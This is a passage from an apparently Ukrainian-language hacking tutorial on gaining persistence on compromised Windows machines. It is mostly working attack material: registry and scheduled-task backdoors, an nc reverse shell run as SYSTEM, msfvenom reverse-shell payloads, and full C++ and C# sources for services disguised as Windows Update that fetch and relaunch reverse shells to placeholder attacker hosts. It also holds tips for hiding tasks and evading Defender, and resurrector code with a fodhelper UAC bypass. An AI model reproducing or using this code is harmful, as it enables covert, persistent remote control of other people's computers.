reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 /freg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\calc.exe" /f– в ролі шкідливого навантаження виступає стандартний калькулятор Windows – Calc.exe, але замість нього можна вказати будь-яке malware.reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 /f
Видалення:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /freg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /f
У цьому прикладі використана функція SilentProcessExit, яка відповідає за процес після закриття програми. Тобто, як тільки користувач закриє notepad.exe, malware вступить в дію. Таким чином можна досягнути персистентності на цільовій системі.
Також можна скористатися функцією відладки Debugger – при запуску додатка паралельно виконається шкідливе навантаження:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /freg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\calc.exe" /freg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /f– видалення запису.
Ці два методи збереження можна автоматизувати за допомогою скрипта PowerShell.
Недолік: Ці способи можуть вимагати прав Адміністратора.
Закріплення через автозавантаження в планувальнику завдань (schtasks)
Подібно реєстру, маючи низькі права в системі можна спробувати додати автозавантаження у вбудований планувальник завдань.
Приклади команд з корисним навантаженням:
schtasks /create /tn "WindowsUpdater" /sc ONLOGON /tr "C:\Users\windows10\games.exe" /f– запланувати запуск вказаного файлу при кожному старті Windows;schtasks /create /tn "WindowsUpdater" /sc MINUTE /mo 10 /tr "C:\Users\windows10\games.exe" /f– запланувати запуск вказаного файлу кожні 10 хвилин;schtasks /create /tn "taskname" /tr "powershell.exe -WindowStyle Hidden -Command \"Start-Process -WindowStyle Hidden -FilePath '%USERPROFILE%\games.exe'\"" /sc minute /mo 3 /f– планувальник реєструє таск з довільним ідентифікатор (“ea36…”) кожні 3 хвилини запускає виконуваний файл в PowerShell;schtasks /create /sc minute /mo 1 /tn TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe X.X.X.X XXXX" /ru SYSTEM– запуск завдання з реверс-шелом щохвилини, використовуючи права SYSTEM.
Сервісні команди:
schtasks /query /fo TABLE– перевірити список активних тасків;schtasks /query /tn "taskname"– перевірити наявність таску;schtasks /query /tn "taskname" /fo LIST /v– перевірити детальну інформацію по вказаному таску;schtasks /delete /tn "taskname" /f– видалити таск.
Можна також приховати завдання, вилучивши дескриптор безпеки. Але для цього треба мати права на рівні SYSTEM.
Відкриваємо редактор реєстру з допомогою psexec:
c:\tools\pstools\PsExec64.exe -s -i regedit
І переходимо в гілку:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\– тут зберігаються всі завдання. Переходимо у створене нами завдання і вилучаємо значення SD.
Тепер завдання стане непомітним для всіх користувачів системи, включно з адміністраторами.
Повний довідник Windows по команді schtasks >>
Недолік: В останніх пропатчених версіях Windows хмарний захист Defender перевіряє завдання schtasks і якщо вони видаються підозрілими – вилучаються або баняться системою.
Закріплення через каталог автозавантаження (AutoStartup)
C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup– AutoStartup для конкретного користувача;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup– AutoStartup для всіх користувачів.
Достатньо розмістити у цих каталогах будь-який виконуваний файл або його ярлик – і він запуститься автоматично при вході користувача в систему. Це працює, оскільки ОС Windows завантажує будь-який PE, знайдений в папці AutoStartup, як частину процесу входу.
Можна згенерувати в msfvenom exe-файл з корисним навантаженням:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f exe -o revshell.exe
І скопіювати в папку автозавантаження, яка буде спрацьовувати для всіх користувачів:
copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
Однак, каталог завантажень легкий для виявлення. Антивіруси сканують його у першу чергу для виявлення будь-яких шкідливих файлів.
Скрипт autostarts.cpp автоматично створює ярлик на запуск EXE-додатку в автозавантаженні, у даному прикладі використано putty.exe:
#define UNICODE
#define _UNICODE
#include <Windows.h>
#include <ShlObj.h>
#include <Objbase.h>
#include <iostream>
BOOL CreateStartupShortcut(const wchar_t* exePath) {
HRESULT hResult;
IShellLink* pShellLink = NULL;
IPersistFile* pPersistFile = NULL;
wchar_t szPath[MAX_PATH];
hResult = SHGetFolderPathW(NULL, CSIDL_STARTUP, NULL, 0, szPath);
if (FAILED(hResult)) return FALSE;
wcscat_s(szPath, L"\\MyShortcut.lnk");
hResult = CoInitialize(NULL);
if (FAILED(hResult)) return FALSE;
hResult = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER,
IID_IShellLink, (void**)&pShellLink);
if (FAILED(hResult)) { CoUninitialize(); return FALSE; }
pShellLink->SetPath(exePath);
hResult = pShellLink->QueryInterface(IID_IPersistFile, (void**)&pPersistFile);
if (FAILED(hResult)) { pShellLink->Release(); CoUninitialize(); return FALSE; }
hResult = pPersistFile->Save(szPath, TRUE);
pPersistFile->Release();
pShellLink->Release();
CoUninitialize();
return SUCCEEDED(hResult);
}
int main() {
if (CreateStartupShortcut(L"%USERPROFILE%\\putty.exe")) {
std::cout << "OK" << std::endl;
} else {
std::cout << "FAIL" << std::endl;
}
return 0;
} Компіляція: cl /EHsc autostarts.cpp ole32.lib shell32.lib
Закріплення через службу Windows
Системна служба Windows (Services) – це додаток, який працює у фоновому режимі. Він має права локального користувача і може виконувати будь-які операції, які прописані в ньому. Служби керуються диспетчером керування служб Windows (Service Control Manager, SCM). Довіра до системних служб є значно більшою, ніж до інших процесів. Але у цього методу є один недолік – він вимагає прав Адміністратора (UAC), тому підійде більше на етапі, коли привілеї були підняті (див. розділ “Ескалація привілеїв”).
На відміну від звичайних додатків, системна служба:
- запускається до входу користувача в систему
- працює у фоновому режимі без UI
- може запускатись від імені SYSTEM, LocalService, NetworkService або будь-якого облікового запису
- автоматично перезапускається при збої (якщо налаштовано)
- її складно просто так видалити
Налаштувавши службу на автоматичний запуск під час завантаження системи або входу користувача в систему, ви можете забезпечити “залізобетонну” роботу ШПЗ.
Створити простеньку службу, яка налагодить зворотне TCP-з’єднання можна з допомогою msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=X.X.X.X LPORT=XXX -f exe-service -o rev-svc.exe
Далі закидуємо файл на цільову систему, наприклад, в C:\Windows і створюємо службу для запуску:
sc.exe create HACKservice binPath= "C:\windows\rev-svc.exe" start= autosc.exe start HACKservice
Служба запуститься і встановиться шелл. Однак, це дуже простий варіант і він передбачає забагато операцій. Нижче попонуються більш професійні кастомні варіанти, на які майже не спрацьовує Windows Defender.
Приклад №1
Приклад коду кастомної системної служби install_service.cpp, яка маскується під Windows Update Service, підвантажує й запускає реверс-шелл revshell.exe, поновлюючи його при обриві з’єднання:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <shellapi.h>
#include <urlmon.h>
#include <stdio.h>
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "urlmon.lib")
#pragma comment(linker, "/SUBSYSTEM:WINDOWS")
SERVICE_STATUS g_ServiceStatus = {0};
SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
HANDLE g_StopEvent = NULL;
HANDLE g_ShellProcess = NULL;
VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
VOID WINAPI ServiceCtrlHandler(DWORD ctrl);
#define SERVICE_NAME "WindowsUpdateSvc"
#define SHELL_URL "http://X.X.X.X:XXXXX/revshell.exe"
#define SHELL_PATH "C:\\Windows\\Temp\\svchost.exe"
BOOL IsRunAsAdmin() {
BOOL isElevated = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION elevation;
DWORD size = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(hToken, TokenElevation, &elevation, size, &size))
isElevated = elevation.TokenIsElevated;
CloseHandle(hToken);
}
return isElevated;
}
void RunAsAdmin() {
char path[MAX_PATH];
GetModuleFileNameA(NULL, path, MAX_PATH);
ShellExecuteA(NULL, "runas", path, NULL, NULL, SW_SHOW);
}
BOOL InstallService() {
char path[MAX_PATH];
GetModuleFileNameA(NULL, path, MAX_PATH);
SC_HANDLE schSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (!schSCManager) return FALSE;
SC_HANDLE schService = OpenServiceA(schSCManager, SERVICE_NAME, DELETE);
if (schService) { DeleteService(schService); CloseServiceHandle(schService); }
schService = CreateServiceA(
schSCManager, SERVICE_NAME, "Windows Update Service",
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
path, NULL, NULL, NULL, NULL, NULL
);
if (!schService) { CloseServiceHandle(schSCManager); return FALSE; }
StartServiceA(schService, 0, NULL);
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return TRUE;
}
BOOL RemoveService() {
SC_HANDLE schSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!schSCManager) return FALSE;
SC_HANDLE schService = OpenServiceA(schSCManager, SERVICE_NAME, DELETE | SERVICE_STOP);
if (!schService) { CloseServiceHandle(schSCManager); return FALSE; }
SERVICE_STATUS ss;
ControlService(schService, SERVICE_CONTROL_STOP, &ss);
DeleteService(schService);
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
if (g_ShellProcess) { TerminateProcess(g_ShellProcess, 0); CloseHandle(g_ShellProcess); }
DeleteFileA(SHELL_PATH);
return TRUE;
}
BOOL DownloadShell() {
DeleteFileA(SHELL_PATH); // видаляємо старий
return (URLDownloadToFileA(NULL, SHELL_URL, SHELL_PATH, 0, NULL) == S_OK);
}
void LaunchShell() {
if (!DownloadShell()) return;
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
if (CreateProcessA(SHELL_PATH, NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
if (g_ShellProcess) CloseHandle(g_ShellProcess);
g_ShellProcess = pi.hProcess;
CloseHandle(pi.hThread);
}
}
void Watchdog() {
while (WaitForSingleObject(g_StopEvent, 5000) == WAIT_TIMEOUT) {
if (g_ShellProcess) {
DWORD exitCode;
if (GetExitCodeProcess(g_ShellProcess, &exitCode) && exitCode != STILL_ACTIVE) {
CloseHandle(g_ShellProcess);
g_ShellProcess = NULL;
LaunchShell();
}
} else {
LaunchShell();
}
}
}
VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv) {
g_StatusHandle = RegisterServiceCtrlHandlerA(SERVICE_NAME, ServiceCtrlHandler);
if (!g_StatusHandle) return;
g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
g_StopEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
DownloadShell();
LaunchShell();
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Watchdog, NULL, 0, NULL);
WaitForSingleObject(g_StopEvent, INFINITE);
if (g_ShellProcess) { TerminateProcess(g_ShellProcess, 0); CloseHandle(g_ShellProcess); }
CloseHandle(g_StopEvent);
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
}
VOID WINAPI ServiceCtrlHandler(DWORD ctrl) {
if (ctrl == SERVICE_CONTROL_STOP || ctrl == SERVICE_CONTROL_SHUTDOWN) {
g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
SetEvent(g_StopEvent);
}
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
LPSTR cmd = GetCommandLineA();
if (strstr(cmd, "/remove")) {
if (!IsRunAsAdmin()) {
char path[MAX_PATH];
GetModuleFileNameA(NULL, path, MAX_PATH);
ShellExecuteA(NULL, "runas", path, "/remove", NULL, SW_SHOW);
return 0;
}
RemoveService();
return 0;
}
SERVICE_TABLE_ENTRYA ServiceTable[] = {
{ (LPSTR)SERVICE_NAME, (LPSERVICE_MAIN_FUNCTIONA)ServiceMain },
{ NULL, NULL }
};
if (!StartServiceCtrlDispatcherA(ServiceTable)) {
if (!IsRunAsAdmin()) {
char path[MAX_PATH];
GetModuleFileNameA(NULL, path, MAX_PATH);
ShellExecuteA(NULL, "runas", path, NULL, NULL, SW_SHOW);
return 0;
}
InstallService();
}
return 0;
}
Компіляція: cl.exe /EHsc /std:c++17 install_service.cpp /link advapi32.lib shell32.lib urlmon.lib
Приклад коду реверс-шелла revshell.cs:
using System;
using System.Diagnostics;
using System.Net.Sockets;
using System.IO;
using System.Threading;
namespace RevShell
{
class Program
{
static void Main()
{
while (true)
{
TcpClient client = null;
NetworkStream stream = null;
Process cmd = null;
try
{
client = new TcpClient();
client.Connect("X.X.X.X", XXXXX);
stream = client.GetStream();
cmd = new Process();
cmd.StartInfo.FileName = "cmd.exe";
cmd.StartInfo.CreateNoWindow = true;
cmd.StartInfo.UseShellExecute = false;
cmd.StartInfo.RedirectStandardInput = true;
cmd.StartInfo.RedirectStandardOutput = true;
cmd.StartInfo.RedirectStandardError = true;
cmd.Start();
Thread tOut = new Thread(() => {
try { byte[] b = new byte[4096]; int r; while ((r = cmd.StandardOutput.BaseStream.Read(b, 0, b.Length)) > 0) stream.Write(b, 0, r); } catch { }
});
tOut.Start();
Thread tErr = new Thread(() => {
try { byte[] b = new byte[4096]; int r; while ((r = cmd.StandardError.BaseStream.Read(b, 0, b.Length)) > 0) stream.Write(b, 0, r); } catch { }
});
tErr.Start();
// Keep-alive: кожні 30 секунд перевіряємо з'єднання
Thread tKeep = new Thread(() => {
while (true)
{
Thread.Sleep(30000);
try
{
if (stream.CanWrite)
stream.Write(new byte[0], 0, 0);
}
catch { break; }
}
});
tKeep.IsBackground = true;
tKeep.Start();
// Блокуюче читання stdin (без таймауту)
byte[] input = new byte[4096];
int read;
while ((read = stream.Read(input, 0, input.Length)) > 0)
{
cmd.StandardInput.BaseStream.Write(input, 0, read);
cmd.StandardInput.BaseStream.Flush();
}
}
catch { }
finally
{
if (cmd != null && !cmd.HasExited) { try { cmd.Kill(); cmd.WaitForExit(2000); } catch { } }
if (stream != null) try { stream.Close(); } catch { }
if (client != null) try { client.Close(); } catch { }
}
Thread.Sleep(5000);
}
}
}
}
Компіляція: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:winexe /out:C:\testexp\revshell.exe C:\testexp\revshell.cs
Розгортання і запуск: bitsadmin /transfer jon1 /download /priority high http://X.X.X.X:XXXXX/install_service.exe %USERPROFILE%\install_service.exe && start /B "" "%USERPROFILE%\install_service.exe"

Приклад №2
Приклад C++ Reverse Shell/Backdoor для Windows 11 (Defender Bypass + Privilege Escalation) – backdoor.cpp:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <shellapi.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(linker, "/SUBSYSTEM:WINDOWS")
SERVICE_STATUS g_ServiceStatus = {0};
SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
HANDLE g_StopEvent = NULL;
VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
VOID WINAPI ServiceCtrlHandler(DWORD ctrl);
#define SERVICE_NAME "WindowsUpdateSvcs2"
#define RHOST "X.X.X.X"
#define RPORT XXXXX
BOOL IsRunAsAdmin() {
BOOL isElevated = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION elevation;
DWORD size = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(hToken, TokenElevation, &elevation, size, &size))
isElevated = elevation.TokenIsElevated;
CloseHandle(hToken);
}
return isElevated;
}
void RunAsAdmin() {
char path[MAX_PATH];
GetModuleFileNameA(NULL, path, MAX_PATH);
ShellExecuteA(NULL, "runas", path, NULL, NULL, SW_SHOW);
}
BOOL InstallService() {
char path[MAX_PATH];
GetModuleFileNameA(NULL, path, MAX_PATH);
SC_HANDLE schSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (!schSCManager) return FALSE;
SC_HANDLE schService = OpenServiceA(schSCManager, SERVICE_NAME, DELETE);
if (schService) { DeleteService(schService); CloseServiceHandle(schService); }
schService = CreateServiceA(
schSCManager, SERVICE_NAME, "Windows Update Services2",
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
path, NULL, NULL, NULL, NULL, NULL
);
if (!schService) { CloseServiceHandle(schSCManager); return FALSE; }
StartServiceA(schService, 0, NULL);
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return TRUE;
}
BOOL RemoveService() {
SC_HANDLE schSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!schSCManager) return FALSE;
SC_HANDLE schService = OpenServiceA(schSCManager, SERVICE_NAME, DELETE | SERVICE_STOP);
if (!schService) { CloseServiceHandle(schSCManager); return FALSE; }
SERVICE_STATUS ss;
ControlService(schService, SERVICE_CONTROL_STOP, &ss);
DeleteService(schService);
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return TRUE;
}
// Потік: сокет -> stdin пайпа
DWORD WINAPI SocketToPipe(LPVOID lpParam) {
HANDLE* handles = (HANDLE*)lpParam;
SOCKET sock = (SOCKET)handles[0];
HANDLE hPipe = handles[1];
free(handles);
char buf[4096];
int read;
while ((read = recv(sock, buf, sizeof(buf), 0)) > 0) {
DWORD written;
WriteFile(hPipe, buf, read, &written, NULL);
}
CloseHandle(hPipe);
return 0;
}
// Потік: stdout пайпа -> сокет
DWORD WINAPI PipeToSocket(LPVOID lpParam) {
HANDLE* handles = (HANDLE*)lpParam;
HANDLE hPipe = handles[0];
SOCKET sock = (SOCKET)handles[1];
free(handles);
char buf[4096];
DWORD read;
while (ReadFile(hPipe, buf, sizeof(buf), &read, NULL) && read > 0) {
send(sock, buf, read, 0);
}
CloseHandle(hPipe);
return 0;
}
DWORD WINAPI ReverseShell(LPVOID) {
while (WaitForSingleObject(g_StopEvent, 0) == WAIT_TIMEOUT) {
WSADATA wsaData;
SOCKET sock = INVALID_SOCKET;
struct sockaddr_in server;
if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0) { Sleep(5000); continue; }
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) { WSACleanup(); Sleep(5000); continue; }
server.sin_family = AF_INET;
server.sin_port = htons(RPORT);
server.sin_addr.s_addr = inet_addr(RHOST);
if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == 0) {
HANDLE hStdInRd, hStdInWr, hStdOutRd, hStdOutWr;
SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
if (CreatePipe(&hStdInRd, &hStdInWr, &sa, 0) &&
CreatePipe(&hStdOutRd, &hStdOutWr, &sa, 0)) {
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = hStdInRd;
si.hStdOutput = hStdOutWr;
si.hStdError = hStdOutWr;
if (CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, TRUE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
CloseHandle(pi.hThread);
// Потік: сокет -> stdin
HANDLE* h1 = (HANDLE*)malloc(sizeof(HANDLE)*2);
h1[0] = (HANDLE)sock; h1[1] = hStdInWr;
CreateThread(NULL, 0, SocketToPipe, h1, 0, NULL);
// Потік: stdout -> сокет
HANDLE* h2 = (HANDLE*)malloc(sizeof(HANDLE)*2);
h2[0] = hStdOutRd; h2[1] = (HANDLE)sock;
CreateThread(NULL, 0, PipeToSocket, h2, 0, NULL);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
}
CloseHandle(hStdInRd);
CloseHandle(hStdInWr);
CloseHandle(hStdOutRd);
CloseHandle(hStdOutWr);
}
}
closesocket(sock);
WSACleanup();
Sleep(5000);
}
return 0;
}
VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv) {
g_StatusHandle = RegisterServiceCtrlHandlerA(SERVICE_NAME, ServiceCtrlHandler);
if (!g_StatusHandle) return;
g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
g_StopEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
CreateThread(NULL, 0, ReverseShell, NULL, 0, NULL);
WaitForSingleObject(g_StopEvent, INFINITE);
CloseHandle(g_StopEvent);
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
}
VOID WINAPI ServiceCtrlHandler(DWORD ctrl) {
if (ctrl == SERVICE_CONTROL_STOP || ctrl == SERVICE_CONTROL_SHUTDOWN) {
g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
SetEvent(g_StopEvent);
}
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
LPSTR cmd = GetCommandLineA();
if (strstr(cmd, "/remove")) {
if (!IsRunAsAdmin()) {
char path[MAX_PATH];
GetModuleFileNameA(NULL, path, MAX_PATH);
ShellExecuteA(NULL, "runas", path, "/remove", NULL, SW_SHOW);
return 0;
}
RemoveService();
return 0;
}
SERVICE_TABLE_ENTRYA ServiceTable[] = {
{ (LPSTR)SERVICE_NAME, (LPSERVICE_MAIN_FUNCTIONA)ServiceMain },
{ NULL, NULL }
};
if (!StartServiceCtrlDispatcherA(ServiceTable)) {
if (!IsRunAsAdmin()) {
char path[MAX_PATH];
GetModuleFileNameA(NULL, path, MAX_PATH);
ShellExecuteA(NULL, "runas", path, NULL, NULL, SW_SHOW);
return 0;
}
InstallService();
}
return 0;
}
Компіляція: cl.exe /EHsc /std:c++17 backdoor.cpp /link advapi32.lib ws2_32.lib shell32.lib
Результат:
- Постійний реверс-шелл через службу Windows.
- Автозавантаження при старті системи.
- Відновлення при обривах.
- Маскування під svchost.exe в C:\Windows\Temp.
У корпоративних мережах створення нових служб може суворо відстежуватись і відповно будь-які новостворені служби будуть заблоковані. У такому випадку можна спробувати модифікувати вже існуючу службу.
Отримати список служб в Windows можна командою: sc.exe query state=all
Перевірити конфігурацію конкретної служби: sc.exe qc THMService3
Параметри, які нас цікавлять:
START_TYPE– служба має бути автоматичною;BINARY_PATH_NAME– шлях до виконуваного файлу, тут можна вказати корисне навантаження;SERVICE_START_NAME– тип облікового запису під яким виконується служба.
Знову генеруємо службу з корисним навантаженням в msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f exe-service -o rev-svc2.exe
Тепер завантажуємо цей файл на цільову систему, модифікуємо і запускаємо службу:
sc.exe config HACKservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"sc.exe start HACKservice3
Закріплення через Malware Resurrector
Malware Resurrector – це тип шкідливого ПЗ, яке здійснює процес “воскресіння” (англ. resurrection) основного шкідливого PE-файлу (exeшника). Навіть, якщо користувач вб’є процес і видалить ШПЗ, скрипт знову відновить файл і так триватиме вічність, допоки користувач не знищить сам malware resurrector.
Один із прикладів реалізації цієї техніки опублікований в GitHub-репозиторії хакерів 0X12 Dark Development.
Ланцюжок атаки наступний:
- Хакер доставляє на цільову систему основний файл malware у вигляді виконуваного exe-файлу і запускає його в системі. В Windows одразу з’являється шкідливий процес.
- Далі, маючи доступ до системи через шелл, хакер запускає окремий exe-файл – Malware Resurrector, який висить в фоні, запускається разом з системою і постійно моніторить стан malware. Тобто, по суті це агент, який працює як детектор.
Варіантів і сценаріїв як саме він може відновлювати malware – декілька. Основні шляхи:
- Локальне відновлення – збереження головного файлу malware у вигляді двійкового коду локально в реєстрі Windows. Як тільки користувач видалить файл – Resurrector просто візьме його з реєстру, створить і запустить знову. Більш надійний варіант. Все відбувається локально, непомітно і викликає найменше підозр.
- Віддалене відновлення – Resurrector просто завантажить файл malware з інтернету і запустить на цільовій системі знову. Менш надійний варіант, тому що система може заблокувати вихід в інтернет, або забанити IP-адресу запитуваного ресурсу.
Простий приклад процедури збереження PE-файлу в реєстрі:
certutil -encode malware.exe malware_base64.txtreg add HKCU\Software\MyApp /v MyAppExe /t REG_SZ /d “Base64EncodedEXE”


Модифікована версія LocalResurrector.cpp:
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <unordered_map>
#include <string>
#include <vector>
#include <fstream>
#include <curl/curl.h>
/*
Arguments:
-f <filepath> : File Path of the Binary (not null)
-p <process name> : Process Name (not null)
-r <registry key> : Registry Keys, can be multiple separated by comma (optional)
-files <files> : Other files, if one of two of this files is not found, the process will resurrected, can be multiple separated by comma (optional)
-l <limit> : Limit of the counter, if the counter is greater or equal to the limit, the process will resurrected (optional)
-admin : Run the process as admin (optional) (More Possibilities to become detected) (can fail in some systems!)
-h : Help
*/
using namespace std;
const wchar_t* wRegistryPath = L"Software\\Microsoft\\Windows\\CurrentVersion\\RulesEngine";
string value = "FileValue";
bool runProcAsAdminFromUser(string procName) {
HKEY hkey;
DWORD d;
const char* settings = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
const char* del = "";
bool success = false;
// Attempt to open or create the registry key
LSTATUS stat = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCWSTR)settings, 0, NULL, 0, KEY_WRITE, NULL, &hkey, &d);
if (stat != ERROR_SUCCESS) {
cout << "Failed to open or create reg key\n";
return success;
}
// Set the registry values (command and DelegateExecute)
stat = RegSetValueEx(hkey, L"", 0, REG_SZ, (unsigned char*)procName.c_str(), strlen(procName.c_str()));
if (stat != ERROR_SUCCESS) {
cout << "Failed to set reg value\n";
return success;
}
// Set the DelegateExecute value to an empty string
stat = RegSetValueEx(hkey, L"DelegateExecute", 0, REG_SZ, (unsigned char*)del, strlen(del));
if (stat != ERROR_SUCCESS) {
cout << "Failed to set reg value: DelegateExecute\n";
return success;
}
// Close the key handle
RegCloseKey(hkey);
SHELLEXECUTEINFO sei = { sizeof(sei) };
sei.lpVerb = L"runas";
sei.lpFile = L"C:\\Windows\\System32\\fodhelper.exe";
sei.hwnd = NULL;
sei.nShow = SW_NORMAL;
// Start the fodhelper.exe program with elevated privileges
if (!ShellExecuteEx(&sei)) {
DWORD err = GetLastError();
printf(err == ERROR_CANCELLED ? "The user refused to allow privilege elevation.\n" : "Unexpected error! Error code: %ld\n", err);
}
else {
printf("Successfully created process =^..^=\n");
}
success = true;
return success;
}
int persistenceViaRunKeys(const char* exe) {
HKEY hkey = NULL;
LONG res = RegOpenKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
DWORD dataSize = 0;
res = RegQueryValueExW(hkey, L"MicrosoftLauncher", NULL, NULL, NULL, &dataSize);
if (res != ERROR_SUCCESS) {
wchar_t* wide_exe = NULL;
int wide_len = MultiByteToWideChar(CP_UTF8, 0, exe, -1, NULL, 0);
wide_exe = new wchar_t[wide_len];
MultiByteToWideChar(CP_UTF8, 0, exe, -1, wide_exe, wide_len);
RegSetValueExW(hkey, L"MicrosoftLauncher", 0, REG_SZ, (BYTE*)wide_exe, (wide_len + 1) * sizeof(wchar_t));
delete[] wide_exe;
}
RegCloseKey(hkey);
}
return 0;
}
bool isProcessRunning(wstring processName) {
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
return false;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32)) {
CloseHandle(hProcessSnap);
return false;
}
do {
if (processName.compare(pe32.szExeFile) == 0) {
CloseHandle(hProcessSnap);
return true;
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return false;
}
bool existsFile(string filePath) {
DWORD dwAttrib = GetFileAttributesA(filePath.c_str());
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
bool existsRegistryKey(const std::string& registryKey) {
HKEY hKey;
std::wstring wRegistryKey(registryKey.begin(), registryKey.end());
LONG lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, wRegistryKey.c_str(), 0, KEY_READ, &hKey);
